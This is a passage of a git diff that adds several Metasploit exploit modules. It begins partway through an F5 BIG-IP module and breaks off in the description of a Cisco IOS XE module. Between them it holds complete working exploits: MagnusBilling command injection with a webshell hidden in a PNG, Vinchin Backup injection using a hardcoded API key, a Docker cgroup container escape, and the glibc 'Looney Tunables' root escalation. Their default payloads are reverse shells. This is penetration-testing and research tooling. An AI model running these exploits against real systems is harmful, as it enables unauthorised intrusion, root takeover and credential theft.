'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json + ) + end + + def report_hash(user, hash) + jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) + service_data = { + address: rhost, + port: rport, + service_name: 'F5 BIG-IP TMUI', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format, + username: user + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def cleanup + super + + print_status('Deleting the created user...') + delete_user + end + + def username + @username ||= rand_text_alpha(6..8) + end + + def password + @password ||= rand_text_alphanumeric(16..20) + end + + def create_user(role:) + # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html + send_request_smuggled_ajp({ + 'handler' => '/tmui/system/user/create', + 'form_page' => '/tmui/system/user/create.jsp', + 'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]", + 'systemuser-hidden_before' => '', + 'name' => username, + 'name_before' => '', + 'passwd' => password, + 'passwd_before' => '', + 'finished' => 'x', + 'finished_before' => '' + }) + end + + def delete_user + send_request_smuggled_ajp({ + 'handler' => '/tmui/system/user/list', + 'form_page' => '/tmui/system/user/list.jsp', + 'checkbox0' => username, + 'checkbox0_before' => 'checked', + 'delete_confirm' => 'Delete', + 'delete_confirm_before' => 'Delete', + 'row_count' => '1', + 'row_count_before' => '1' + }) + end + + def update_user_password + new_password = Rex::Text.rand_text_alphanumeric(password.length) + changed = retry_until_truthy(timeout: 30) do + res = bigip_api_shared_set_password(username, password, new_password) + res&.code == 200 + end + @password = new_password if changed + changed + end + + def send_request_smuggled_ajp(query) + post_data = "204\r\n" # do not change + + timenow = rand_text_numeric(1) + tmui_dubbuf = rand_text_alpha_upper(11) + + query = query.merge({ + '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest), + '_bufvalue_before' => '', + '_timenow' => timenow, + '_timenow_before' => '' + }) + query_string = URI.encode_www_form(query).ljust(370, '&') + + # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes + ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new( + http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST, + req_uri: '/tmui/Control/form', + remote_addr: '127.0.0.1', + remote_host: 'localhost', + server_name: 'localhost', + headers: [ + { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf }, + { header_name: 'REMOTEROLE', header_value: '0' }, + { header_name: 'host', header_value: 'localhost' } + ], + attributes: [ + { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' }, + { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string }, + { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR } + ] + ) + ajp_data = ajp_forward_request.to_binary_s[2...] + unless ajp_data.length == 0x204 # 516 bytes + # this is a developer error + raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes." + end + + post_data << ajp_data + post_data << "\r\n0" + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'), + 'headers' => { 'Transfer-Encoding' => 'chunked, chunked' }, + 'data' => post_data + ) + end + + def bigip_api_shared_set_password(user, old_password, new_password) + send_request_cgi( + 'method' => 'PATCH', + 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), + 'headers' => { + 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", + 'Content-Type' => 'application/json' + }, + 'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json + ) + end + + def bigip_api_shared_login + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), + 'headers' => { 'Content-Type' => 'application/json' }, + 'data' => { 'username' => username, 'password' => password }.to_json + ) + end + + def bigip_api_tm_get_user(user) + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user), + 'headers' => { + 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", + 'Content-Type' => 'application/json' + } + ) + end +end diff --git a/modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb b/modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb new file mode 100644 index 0000000000..8bef373b0d --- /dev/null +++ b/modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb @@ -0,0 +1,187 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/stopwatch' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + include Msf::Exploit::Format::PhpPayloadPng + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MagnusBilling application unauthenticated Remote Command Execution.', + 'Description' => %q{ + A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows + remote attackers to run arbitrary commands via unauthenticated HTTP request. + A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec(). + The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and + not properly sanitised/escaped. + After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. + The commands run with the privileges of the web server process, typically `www-data` or `asterisk`. + At a minimum, this allows an attacker to compromise the billing system and its database. + + The following MagnusBilling applications are vulnerable: + - MagnusBilling application version 6 (all versions); + - MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability; + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Eldstal' # Discovery of the vulnerability + + ], + 'References' => [ + ['CVE', '2023-30258'], + ['URL', 'https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258'], + ['URL', 'https://eldstal.se/advisories/230327-magnusbilling.html'] + ], + 'DisclosureDate' => '2023-06-26', + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], + 'Privileged' => true, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_X64, ARCH_X86], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'], + 'Linemax' => 2048, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The MagnusBilling endpoint URL', '/mbilling' ]), + OptString.new('WEBSHELL', [ + false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil + ], conditions: %w[TARGET == 0]) + ]) + end + + def execute_command(cmd, _opts = {}) + return send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', 'icepay.php'), + 'vars_get' => + { + 'democ' => "/dev/null;#{cmd};#" + } + }) + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + return send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + @post_param => payload + } + }) + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + @webshell_name = if datastore['WEBSHELL'].blank? + "#{Rex::Text.rand_text_alpha(8..16)}.php" + else + datastore['WEBSHELL'].to_s + end + + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + + # inject PHP payload into the PLTE chunk of a PNG image to hide the payload + php_payload = "" + png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE') + return nil if png_webshell.nil? + + # encode webshell data, set write and execute permissions and write to file on the target for execution + payload = Base64.strict_encode64(png_webshell.to_s) + cmd = "chmod 755 ./;echo #{payload}|base64 -d > ./#{@webshell_name}" + execute_command(cmd) + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi!({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path) + }) + # Check if target is a magnusbilling application + return CheckCode::Unknown('No response received from target.') unless res + return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i + + # blind command injection using sleep command + sleep_time = rand(4..8) + print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") + _res, elapsed_time = Rex::Stopwatch.elapsed_time do + execute_command("sleep #{sleep_time}") + end + print_status("Elapsed time: #{elapsed_time.round(2)} seconds.") + return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time + + CheckCode::Vulnerable('Successfully tested command injection.') + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :php + res = upload_webshell + fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 + register_file_for_cleanup(@webshell_name.to_s) + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager({ linemax: target.opts['Linemax'] }) + end + end +end diff --git a/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb b/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb new file mode 100644 index 0000000000..c821f39919 --- /dev/null +++ b/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Vinchin Backup and Recovery Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability in Vinchin Backup & Recovery + v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the + checkIpExists API endpoint, an attacker can execute arbitrary commands as the + web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Gregory Boddin (LeakIX)', # Vulnerability discovery + 'Valentin Lobstein' # Metasploit module + ], + 'References' => [ + ['CVE', '2023-45498'], + ['CVE', '2023-45499'], + ['URL', 'https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/'], + ['URL', 'https://vinchin.com/'] # Vendor URL + ], + 'DisclosureDate' => '2023-10-26', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'AKA' => ['Vinchin Command Injection'] + }, + 'Platform' => ['linux', 'unix'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + ['Automatic', {}] + ], + + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/usr/share/nginx/vinchin/tmp' + }, + 'Privileged' => false + ) + ) + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The base path to the Vinchin Backup & Recovery application', '/']), + OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71']), + ] + ) + end + + def exploit + hex_encoded_payload = payload.encoded.unpack('H*').first + formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join + + temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}" + command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}" + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'api/'), + 'vars_get' => { + 'm' => '30', + 'f' => 'checkIpExists', + 'k' => datastore['APIKEY'] + }, + 'data' => "p={\"ip\":\"a||#{command}\"}" + }) + end + + def check + target_uri_path = normalize_uri(target_uri.path, 'login.php') + res = send_request_cgi('uri' => target_uri_path) + + return CheckCode::Unknown('Failed to connect to the target.') unless res + return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/ + version_match = res.body.match(version_pattern) + + unless version_match && version_match[1] + return CheckCode::Unknown('Unable to extract version.') + end + + version = Rex::Version.new(version_match[1]) + print_status("Detected Vinchin version: #{version}") + + if (version >= Rex::Version.new('5.0.0') && version < Rex::Version.new('5.1.0')) || + (version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')) || + (version >= Rex::Version.new('6.7.0') && version < Rex::Version.new('6.8.0')) || + (version >= Rex::Version.new('7.0.0') && version < Rex::Version.new('7.0.2')) + return CheckCode::Appears + else + return CheckCode::Safe + end + end +end diff --git a/modules/exploits/linux/local/docker_cgroup_escape.rb b/modules/exploits/linux/local/docker_cgroup_escape.rb new file mode 100644 index 0000000000..a54188a6bb --- /dev/null +++ b/modules/exploits/linux/local/docker_cgroup_escape.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Docker cgroups Container Escape', + 'Description' => %q{ + This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. + If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system. + + A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. + This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges + and bypass the namespace isolation unexpectedly. + + More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates. + If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file, + an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent + file is owned by root, so only a user with root access can modify it. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Yiqi Sun', # discovery + 'Kevin Wang', # discovery + 'T1erno', # POC + ], + 'Platform' => [ 'unix', 'linux' ], + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + }, + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'], + [ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'], + [ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'], + [ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'], + [ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'], + [ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'], + [ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'], + [ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'], + [ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'], + [ 'CVE', '2022-0492'] + ], + 'DisclosureDate' => '2022-02-04', + 'Targets' => [ + ['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }], + ['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'] + end + + def check + print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu') + release = kernel_release + # https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-0492 + release_short = Rex::Version.new(release.split('-').first) + release_long = Rex::Version.new(release.split('-')[0..1].join('-')) + if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10 + release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS + release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS + release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM + return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable") + end + + CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS") + end + + def exploit + # Check if we're already root as its required + fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root? + + # create mount + folder = rand_text_alphanumeric(5..10) + @mount_dir = "#{base_dir}/#{folder}" + register_dir_for_cleanup(@mount_dir) + vprint_status("Creating folder for mount: #{@mount_dir}") + mkdir(@mount_dir) + print_status('Mounting cgroup') + cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'") + group = rand_text_alphanumeric(5..10) + group_full_dir = "#{@mount_dir}/#{group}" + vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}") + mkdir(group_full_dir) + + print_status("Enabling notify on release for group #{group}") + write_file("#{group_full_dir}/notify_on_release", '1') + + print_status('Determining the host OS path for image') + # for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of + mtab_file = read_file('/etc/mtab') + host_path = nil + mtab_file.each_line do |line| + next unless line.start_with?('overlay') && line.include?('perdir') # upperdir + + line.split(',').each do |parameter| + next unless parameter.start_with?('upperdir') + + parameter = parameter.split('=') + fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1 + host_path = parameter[1] + end + break + end + + fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command + + vprint_status("Host OS path for image: #{host_path}") + + payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}" + print_status("Setting release_agent path to: #{host_path}#{payload_path}") + write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}" + + print_status("Uploading payload to #{payload_path}") + if target.name == 'CMD' + # for whatever reason it's unhappy and wont run without the /bin/sh header + upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n" + elsif target.name == 'BINARY' + upload_and_chmodx payload_path, generate_payload_exe + end + register_files_for_cleanup(payload_path) + + print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"") + cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'")) + end + + def cleanup + if @mount_dir + vprint_status("Cleanup: Unmounting #{@mount_dir}") + cmd_exec("umount '#{@mount_dir}'") + end + super + end +end diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb new file mode 100644 index 0000000000..cf7a401b7c --- /dev/null +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + # includes: is_root? + include Msf::Post::Linux::Priv + # includes: kernel_release + include Msf::Post::Linux::Kernel + # include: get_sysinfo + include Msf::Post::Linux::System + # includes writable?, upload_file, upload_and_chmodx, exploit_data, cd + include Msf::Post::File + # includes register_files_for_cleanup + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + BUILD_IDS = { + '69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561, + '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561, + 'a99db3715218b641780b04323e4ae5953d68a927' => 561, + 'a8daca28288575ffc8c7641d40901b0148958fb1' => 580, + '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560, + '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580, + 'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580, + '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322 + } + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)', + 'Description' => %q{ + A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES + environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when + launching binaries with SUID permission to execute code in the context of the root user. + + This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are: + + Ubuntu: + 2.35-0ubuntu3.4 > 2.35 + 2.37-0ubuntu2.1 > 2.37 + 2.38-1ubuntu6 > 2.38 + + Debian: + 2.31-13-deb11u7 > 2.31 + 2.36-9-deb12u3 > 2.36 + + Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 + however this module does not target them. + }, + 'Author' => [ + 'Qualys Threat Research Unit', # discovery + 'blasty ', # PoC + 'jheysel-r7' # msf module + ], + 'References' => [ + ['CVE', '2023-4911'], + ['URL', 'https://haxx.in/files/gnu-acme.py'], + ['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], + ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'], + ['URL', 'https://ubuntu.com/security/CVE-2023-4911'] + ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependSetresgid' => true, + 'PrependSetresuid' => true, + 'WfsDelay' => 600 + }, + 'DisclosureDate' => '2023-10-03', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_advanced_options([ + OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) + ]) + end + + def find_exec_program + %w[python python3].select(&method(:command_exists?)).first + rescue StandardError => e + fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}") + end + + def check + glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first + return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version + + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility + test_version = glibc_version.gsub(/-\d+ubuntu/, '.') + if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) || + Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) || + Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6')) + return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") + end + when 'debian' + # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility + test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.') + if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) || + Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3')) + return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") + end + else + return CheckCode::Unknown('The module has not been tested against this Linux distribution') + end + CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") + end + + def check_ld_so_build_id + # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so + if !command_exists?('file') + print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + return + end + file_cmd_output = '' + + # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not + # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + if command_exists?('ldconfig') + file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")') + end + when 'debian' + file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"') + else + fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') + end + + if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ + build_id = Regexp.last_match(1) + if BUILD_IDS.keys.include?(build_id) + print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") + else + fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") + end + else + print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + end + end + + def exploit + fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? + + python_binary = find_exec_program + fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary + vprint_status("Using '#{python_binary}' to run the exploit") + + check_ld_so_build_id + + # The python script assumes the working directory is the one we can write to. + cd(datastore['WritableDir']) + shell_code = payload.encoded.unpack('H*').first + + exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py') + exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) + exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) + + # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully + output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}") + if output.blank? + print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') + else + print_line(output) + end + end +end diff --git a/modules/exploits/linux/misc/cisco_ios_xe_rce.rb b/modules/exploits/linux/misc/cisco_ios_xe_rce.rb new file mode 100644 index 0000000000..a2ae8f987d --- /dev/null +++ b/modules/exploits/linux/misc/cisco_ios_xe_rce.rb @@ -0,0 +1,218 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HTTP::CiscoIosXe + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Retry + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cisco IOX XE Unauthenticated RCE Chain', + 'Description' => %q{ + This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE + devices which have the Web UI exposed. An attacker can execute a payload with root privileges. + + The vulnerable IOS XE versions are: + 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, + 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, + 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, + 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, + 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, + 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, + 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, + 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, + 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, + 16.10.3, 